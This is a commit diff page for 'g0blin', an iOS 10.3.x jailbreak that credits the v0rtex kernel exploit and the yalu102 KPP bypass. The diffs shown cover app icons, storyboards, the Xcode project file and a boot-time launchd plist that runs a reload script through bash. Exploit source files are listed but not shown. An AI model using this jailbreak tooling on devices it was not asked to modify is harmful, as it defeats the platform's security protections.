Browse Source

Merge pull request #86 from Sticktron/develop

merge develop
Sticktron 6 years ago
parent
commit
69ad6efb3c
43 changed files with 2875 additions and 240 deletions
  1. 4 0
      g0blin.xcodeproj/project.pbxproj
  2. 1 0
      g0blin/0.reload.plist
  3. 24 12
      g0blin/Assets.xcassets/AppIcon.appiconset/Contents.json
  4. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60.png
  5. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png
  6. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png
  7. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-76.png
  8. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png
  9. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40.png
  10. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x-1.png
  11. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x.png
  12. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x.png
  13. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-41.png
  14. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-42.png
  15. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small.png
  16. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x-1.png
  17. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png
  18. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png
  19. BIN
      g0blin/Assets.xcassets/AppIcon.appiconset/iTunesArtwork@2x.png
  20. 102 0
      g0blin/Assets.xcassets/AppIcon_dev.appiconset/Contents.json
  21. BIN
      g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-60@2x.png
  22. BIN
      g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-60@3x.png
  23. BIN
      g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-76.png
  24. BIN
      g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-76@2x.png
  25. 6 0
      g0blin/Assets.xcassets/Contents.json
  26. 22 0
      g0blin/Assets.xcassets/logo.imageset/Contents.json
  27. BIN
      g0blin/Assets.xcassets/logo.imageset/g0blin@2x.png
  28. BIN
      g0blin/Assets.xcassets/logo.imageset/g0blin@3x.png
  29. 6 6
      g0blin/Base.lproj/LaunchScreen.storyboard
  30. 131 48
      g0blin/Base.lproj/Main.storyboard
  31. 17 1
      g0blin/SettingsController.m
  32. 114 75
      g0blin/ViewController.m
  33. 13 10
      g0blin/bootstrap.m
  34. BIN
      g0blin/bootstrap.tar
  35. 359 11
      g0blin/kpp.h
  36. 36 9
      g0blin/kpp.m
  37. 0 4
      g0blin/offsets.h
  38. 1995 45
      g0blin/offsets.m
  39. 36 1
      g0blin/patchfinder64.c
  40. 4 0
      g0blin/patchfinder64.h
  41. 0 5
      g0blin/reload
  42. 5 13
      g0blin/remount.m
  43. BIN
      g0blin/y0nkers.m4v

+ 4 - 0
g0blin.xcodeproj/project.pbxproj

@@ -9,6 +9,7 @@
 /* Begin PBXBuildFile section */
 		EE0A1C281FF8891A001030DB /* SettingsController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE0A1C271FF8891A001030DB /* SettingsController.m */; };
 		EE1C60E41FFACA3600D30AAC /* bootstrap.tar in Resources */ = {isa = PBXBuildFile; fileRef = EE1C60E31FFACA3500D30AAC /* bootstrap.tar */; };
+		EE7DA0F42008751B002A63FC /* y0nkers.m4v in Resources */ = {isa = PBXBuildFile; fileRef = EE7DA0F32008751B002A63FC /* y0nkers.m4v */; };
 		EE9402401FF33CAE00C9325F /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = EE94023F1FF33CAE00C9325F /* AppDelegate.m */; };
 		EE9402431FF33CAE00C9325F /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE9402421FF33CAE00C9325F /* ViewController.m */; };
 		EE9402461FF33CAE00C9325F /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = EE9402441FF33CAE00C9325F /* Main.storyboard */; };
@@ -34,6 +35,7 @@
 		EE0A1C261FF8891A001030DB /* SettingsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SettingsController.h; sourceTree = "<group>"; };
 		EE0A1C271FF8891A001030DB /* SettingsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SettingsController.m; sourceTree = "<group>"; };
 		EE1C60E31FFACA3500D30AAC /* bootstrap.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = bootstrap.tar; sourceTree = "<group>"; };
+		EE7DA0F32008751B002A63FC /* y0nkers.m4v */ = {isa = PBXFileReference; lastKnownFileType = file; path = y0nkers.m4v; sourceTree = "<group>"; };
 		EE94023B1FF33CAE00C9325F /* g0blin.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = g0blin.app; sourceTree = BUILT_PRODUCTS_DIR; };
 		EE94023E1FF33CAE00C9325F /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
 		EE94023F1FF33CAE00C9325F /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
@@ -128,6 +130,7 @@
 				EE9402491FF33CAE00C9325F /* LaunchScreen.storyboard */,
 				EE94024C1FF33CAE00C9325F /* Info.plist */,
 				EE94024D1FF33CAE00C9325F /* main.m */,
+				EE7DA0F32008751B002A63FC /* y0nkers.m4v */,
 			);
 			path = g0blin;
 			sourceTree = "<group>";
@@ -218,6 +221,7 @@
 				EE9828CA1FF418800085B633 /* launchctl in Resources */,
 				EE9828CB1FF418800085B633 /* reload in Resources */,
 				EE94024B1FF33CAE00C9325F /* LaunchScreen.storyboard in Resources */,
+				EE7DA0F42008751B002A63FC /* y0nkers.m4v in Resources */,
 				EE9402481FF33CAE00C9325F /* Assets.xcassets in Resources */,
 				EE9402461FF33CAE00C9325F /* Main.storyboard in Resources */,
 			);

+ 1 - 0
g0blin/0.reload.plist

@@ -6,6 +6,7 @@
 	<string>0.reload</string>
 	<key>ProgramArguments</key>
 	<array>
+		<string>/bin/bash</string>
 		<string>/usr/libexec/reload</string>
 	</array>
 	<key>RunAtLoad</key>

+ 24 - 12
g0blin/Assets.xcassets/AppIcon.appiconset/Contents.json

@@ -1,33 +1,39 @@
 {
   "images" : [
     {
-      "idiom" : "iphone",
       "size" : "20x20",
+      "idiom" : "iphone",
+      "filename" : "Icon-Small-40.png",
       "scale" : "2x"
     },
     {
-      "idiom" : "iphone",
       "size" : "20x20",
+      "idiom" : "iphone",
+      "filename" : "Icon-60.png",
       "scale" : "3x"
     },
     {
-      "idiom" : "iphone",
       "size" : "29x29",
+      "idiom" : "iphone",
+      "filename" : "Icon-Small@2x.png",
       "scale" : "2x"
     },
     {
-      "idiom" : "iphone",
       "size" : "29x29",
+      "idiom" : "iphone",
+      "filename" : "Icon-Small@3x.png",
       "scale" : "3x"
     },
     {
-      "idiom" : "iphone",
       "size" : "40x40",
+      "idiom" : "iphone",
+      "filename" : "Icon-Small-40@2x.png",
       "scale" : "2x"
     },
     {
-      "idiom" : "iphone",
       "size" : "40x40",
+      "idiom" : "iphone",
+      "filename" : "Icon-Small-40@3x.png",
       "scale" : "3x"
     },
     {
@@ -48,28 +54,33 @@
       "scale" : "1x"
     },
     {
-      "idiom" : "ipad",
       "size" : "20x20",
+      "idiom" : "ipad",
+      "filename" : "Icon-Small-41.png",
       "scale" : "2x"
     },
     {
-      "idiom" : "ipad",
       "size" : "29x29",
+      "idiom" : "ipad",
+      "filename" : "Icon-Small.png",
       "scale" : "1x"
     },
     {
-      "idiom" : "ipad",
       "size" : "29x29",
+      "idiom" : "ipad",
+      "filename" : "Icon-Small@2x-1.png",
       "scale" : "2x"
     },
     {
-      "idiom" : "ipad",
       "size" : "40x40",
+      "idiom" : "ipad",
+      "filename" : "Icon-Small-42.png",
       "scale" : "1x"
     },
     {
-      "idiom" : "ipad",
       "size" : "40x40",
+      "idiom" : "ipad",
+      "filename" : "Icon-Small-40@2x-1.png",
       "scale" : "2x"
     },
     {
@@ -90,8 +101,9 @@
       "scale" : "2x"
     },
     {
-      "idiom" : "ios-marketing",
       "size" : "1024x1024",
+      "idiom" : "ios-marketing",
+      "filename" : "iTunesArtwork@2x.png",
       "scale" : "1x"
     }
   ],

BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60@2x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-60@3x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-76.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-76@2x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x-1.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@2x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-40@3x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-41.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small-42.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x-1.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@2x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/Icon-Small@3x.png


BIN
g0blin/Assets.xcassets/AppIcon.appiconset/iTunesArtwork@2x.png


+ 102 - 0
g0blin/Assets.xcassets/AppIcon_dev.appiconset/Contents.json

@@ -0,0 +1,102 @@
+{
+  "images" : [
+    {
+      "idiom" : "iphone",
+      "size" : "20x20",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "20x20",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "29x29",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "29x29",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "40x40",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "iphone",
+      "size" : "40x40",
+      "scale" : "3x"
+    },
+    {
+      "size" : "60x60",
+      "idiom" : "iphone",
+      "filename" : "Icon-60@2x.png",
+      "scale" : "2x"
+    },
+    {
+      "size" : "60x60",
+      "idiom" : "iphone",
+      "filename" : "Icon-60@3x.png",
+      "scale" : "3x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "20x20",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "20x20",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "29x29",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "29x29",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "40x40",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "40x40",
+      "scale" : "2x"
+    },
+    {
+      "size" : "76x76",
+      "idiom" : "ipad",
+      "filename" : "Icon-76.png",
+      "scale" : "1x"
+    },
+    {
+      "size" : "76x76",
+      "idiom" : "ipad",
+      "filename" : "Icon-76@2x.png",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ipad",
+      "size" : "83.5x83.5",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "ios-marketing",
+      "size" : "1024x1024",
+      "scale" : "1x"
+    }
+  ],
+  "info" : {
+    "version" : 1,
+    "author" : "xcode"
+  }
+}

BIN
g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-60@2x.png


BIN
g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-60@3x.png


BIN
g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-76.png


BIN
g0blin/Assets.xcassets/AppIcon_dev.appiconset/Icon-76@2x.png


+ 6 - 0
g0blin/Assets.xcassets/Contents.json

@@ -0,0 +1,6 @@
+{
+  "info" : {
+    "version" : 1,
+    "author" : "xcode"
+  }
+}

+ 22 - 0
g0blin/Assets.xcassets/logo.imageset/Contents.json

@@ -0,0 +1,22 @@
+{
+  "images" : [
+    {
+      "idiom" : "universal",
+      "scale" : "1x"
+    },
+    {
+      "idiom" : "universal",
+      "filename" : "g0blin@2x.png",
+      "scale" : "2x"
+    },
+    {
+      "idiom" : "universal",
+      "filename" : "g0blin@3x.png",
+      "scale" : "3x"
+    }
+  ],
+  "info" : {
+    "version" : 1,
+    "author" : "xcode"
+  }
+}

BIN
g0blin/Assets.xcassets/logo.imageset/g0blin@2x.png


BIN
g0blin/Assets.xcassets/logo.imageset/g0blin@3x.png


+ 6 - 6
g0blin/Base.lproj/LaunchScreen.storyboard

@@ -18,13 +18,10 @@
                         <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
                         <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                         <subviews>
-                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="😈" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="CzQ-c7-L5v">
-                                <rect key="frame" x="137" y="283" width="100" height="100"/>
+                            <imageView userInteractionEnabled="NO" contentMode="center" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" image="logo" translatesAutoresizingMaskIntoConstraints="NO" id="jEh-8A-hsk">
+                                <rect key="frame" x="67" y="269" width="240" height="128"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES" flexibleMaxY="YES"/>
-                                <fontDescription key="fontDescription" type="system" pointSize="64"/>
-                                <color key="textColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
-                                <nil key="highlightedColor"/>
-                            </label>
+                            </imageView>
                         </subviews>
                         <color key="backgroundColor" red="0.12984204290000001" green="0.12984612579999999" blue="0.12984395030000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                         <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
@@ -35,4 +32,7 @@
             <point key="canvasLocation" x="52" y="374.66266866566718"/>
         </scene>
     </scenes>
+    <resources>
+        <image name="logo" width="180" height="44"/>
+    </resources>
 </document>

+ 131 - 48
g0blin/Base.lproj/Main.storyboard

@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13196" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
-    <device id="retina4_7" orientation="portrait">
+    <device id="retina4_0" orientation="portrait">
         <adaptation id="fullscreen"/>
     </device>
     <dependencies>
@@ -21,41 +21,20 @@
             <objects>
                 <viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
                     <view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
-                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
+                        <rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
                         <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                         <subviews>
-                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="G0BLIN" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="jn4-xX-mg8">
-                                <rect key="frame" x="16" y="45" width="220" height="50"/>
-                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
-                                <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="55"/>
-                                <color key="textColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
-                                <nil key="highlightedColor"/>
-                            </label>
-                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="(wip) jailbreak for iOS 10.3.x A7-A9" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="UcM-Ne-vdF">
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="jailbreak for iOS 10.3.x (A7-A9)" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="UcM-Ne-vdF">
                                 <rect key="frame" x="16" y="97" width="288" height="25"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
                                 <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="12"/>
                                 <color key="textColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <nil key="highlightedColor"/>
                             </label>
-                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" usesAttributedText="YES" lineBreakMode="tailTruncation" numberOfLines="0" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="SXG-YB-Hu8">
-                                <rect key="frame" x="16" y="130" width="300" height="64"/>
-                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
-                                <attributedString key="attributedText">
-                                    <fragment content="kernel exploit:    siguza (v0rtex)
kpp bypass:        qwertyoruiop (yalu102)
patchfinder:       xerub
cydia, substrate:  saurik">
-                                        <attributes>
-                                            <color key="NSColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
-                                            <font key="NSFont" size="11" name="Menlo-Regular"/>
-                                            <paragraphStyle key="NSParagraphStyle" alignment="left" lineBreakMode="wordWrapping" baseWritingDirection="natural" tighteningFactorForTruncation="0.0"/>
-                                        </attributes>
-                                    </fragment>
-                                </attributedString>
-                                <nil key="highlightedColor"/>
-                            </label>
                             <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="LzW-79-NNF">
-                                <rect key="frame" x="48" y="254" width="280" height="60"/>
+                                <rect key="frame" x="20" y="253" width="280" height="60"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
-                                <color key="backgroundColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <color key="backgroundColor" red="0.50196078431372548" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="20"/>
                                 <state key="normal" title="jailbreak">
                                     <color key="titleColor" red="0.99999600649999998" green="1" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
@@ -65,28 +44,22 @@
                                 </connections>
                             </button>
                             <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="😈" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="DUv-h9-U3S">
-                                <rect key="frame" x="168" y="627" width="40" height="30"/>
+                                <rect key="frame" x="140" y="528" width="40" height="30"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES"/>
                                 <fontDescription key="fontDescription" type="system" pointSize="17"/>
                                 <nil key="textColor"/>
                                 <nil key="highlightedColor"/>
                             </label>
                             <textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" fixedFrame="YES" editable="NO" text="Console" textAlignment="natural" translatesAutoresizingMaskIntoConstraints="NO" id="Elh-sj-UCK">
-                                <rect key="frame" x="19" y="404" width="337" height="207"/>
+                                <rect key="frame" x="16" y="349" width="288" height="140"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" widthSizable="YES" flexibleMaxX="YES" heightSizable="YES"/>
                                 <color key="backgroundColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <color key="textColor" red="0.66422420739999999" green="0.66424006219999998" blue="0.66423153879999997" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="10"/>
                                 <textInputTraits key="textInputTraits" autocapitalizationType="sentences"/>
                             </textView>
-                            <progressView opaque="NO" contentMode="scaleToFill" verticalHuggingPriority="750" fixedFrame="YES" progress="0.20000000000000001" translatesAutoresizingMaskIntoConstraints="NO" id="bbB-ma-TGm">
-                                <rect key="frame" x="48" y="353" width="280" height="3"/>
-                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
-                                <color key="progressTintColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
-                                <color key="trackTintColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
-                            </progressView>
                             <button opaque="NO" contentMode="scaleToFill" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="detailDisclosure" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ida-x7-w8p">
-                                <rect key="frame" x="337" y="45" width="22" height="22"/>
+                                <rect key="frame" x="282" y="45" width="22" height="22"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxY="YES"/>
                                 <color key="tintColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <connections>
@@ -95,72 +68,179 @@
                                     </segue>
                                 </connections>
                             </button>
-                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="force reinstall bootstrap: YES" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="YdP-3g-Mny">
-                                <rect key="frame" x="19" y="221" width="337" height="25"/>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="re-installing bootstrap" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="YdP-3g-Mny">
+                                <rect key="frame" x="0.0" y="220" width="320" height="25"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMaxY="YES"/>
                                 <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="10"/>
+                                <color key="textColor" red="0.75406885150000003" green="0.75408679249999999" blue="0.75407713649999997" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="v0rtex + yalu102 + cydia" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="RYe-20-NUo">
+                                <rect key="frame" x="16" y="118" width="288" height="25"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="12"/>
+                                <color key="textColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="RC0" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="HQ8-9g-UrK">
+                                <rect key="frame" x="16" y="139" width="39" height="25"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="11"/>
+                                <color key="textColor" red="1" green="0.0" blue="0.50196078431372548" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <nil key="highlightedColor"/>
+                            </label>
+                            <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="by sticktron" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hOv-w3-xsm">
+                                <rect key="frame" x="0.0" y="504" width="320" height="25"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxX="YES" flexibleMinY="YES"/>
+                                <fontDescription key="fontDescription" name="Menlo-Regular" family="Menlo" pointSize="10"/>
                                 <color key="textColor" red="0.37055522200000002" green="0.37056469920000001" blue="0.37055957319999999" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                                 <nil key="highlightedColor"/>
                             </label>
+                            <imageView contentMode="center" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" image="logo" translatesAutoresizingMaskIntoConstraints="NO" id="9bB-iY-DEU">
+                                <rect key="frame" x="12" y="44" width="180" height="44"/>
+                                <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
+                                <gestureRecognizers/>
+                            </imageView>
                         </subviews>
                         <color key="backgroundColor" red="0.12984204290000001" green="0.12984612579999999" blue="0.12984395030000001" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                        <gestureRecognizers/>
                         <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
                     </view>
                     <connections>
                         <outlet property="consoleView" destination="Elh-sj-UCK" id="gJk-Xf-NFc"/>
                         <outlet property="goButton" destination="LzW-79-NNF" id="z7c-UD-HAE"/>
-                        <outlet property="progressView" destination="bbB-ma-TGm" id="lIa-zO-eEL"/>
+                        <outlet property="logoView" destination="9bB-iY-DEU" id="3eU-Qg-Z67"/>
                         <outlet property="reinstallBootstrapLabel" destination="YdP-3g-Mny" id="fSl-BT-ogn"/>
                         <outlet property="settingsButton" destination="ida-x7-w8p" id="Qpa-PV-mI8"/>
                     </connections>
                 </viewController>
                 <placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
             </objects>
-            <point key="canvasLocation" x="136.80000000000001" y="130.88455772113943"/>
+            <point key="canvasLocation" x="135" y="129.92957746478874"/>
         </scene>
         <!--Settings Controller-->
         <scene sceneID="3qZ-li-ZPj">
             <objects>
                 <viewController id="E4R-mI-ttA" customClass="SettingsController" sceneMemberID="viewController">
                     <view key="view" contentMode="scaleToFill" id="Gs4-qb-pme">
-                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
+                        <rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
                         <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                         <subviews>
                             <switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" fixedFrame="YES" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="UjU-65-8UT">
-                                <rect key="frame" x="310" y="130" width="49" height="31"/>
+                                <rect key="frame" x="255" y="86" width="49" height="31"/>
                                 <autoresizingMask key="autoresizingMask" flexibleMinX="YES" flexibleMaxY="YES"/>
-                                <color key="onTintColor" red="0.58188301320000002" green="0.21569153669999999" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
+                                <color key="onTintColor" red="0.50196078431372548" green="0.0" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
                             </switch>
                             <label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" fixedFrame="YES" text="force re-install bootstrap" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="YTP-i7-QOK">
-                                <rect key="frame" x="16" y="133" width="273" height="25"/>
+                                <rect key="frame" x="16" y="89" width="273" height="25"/>
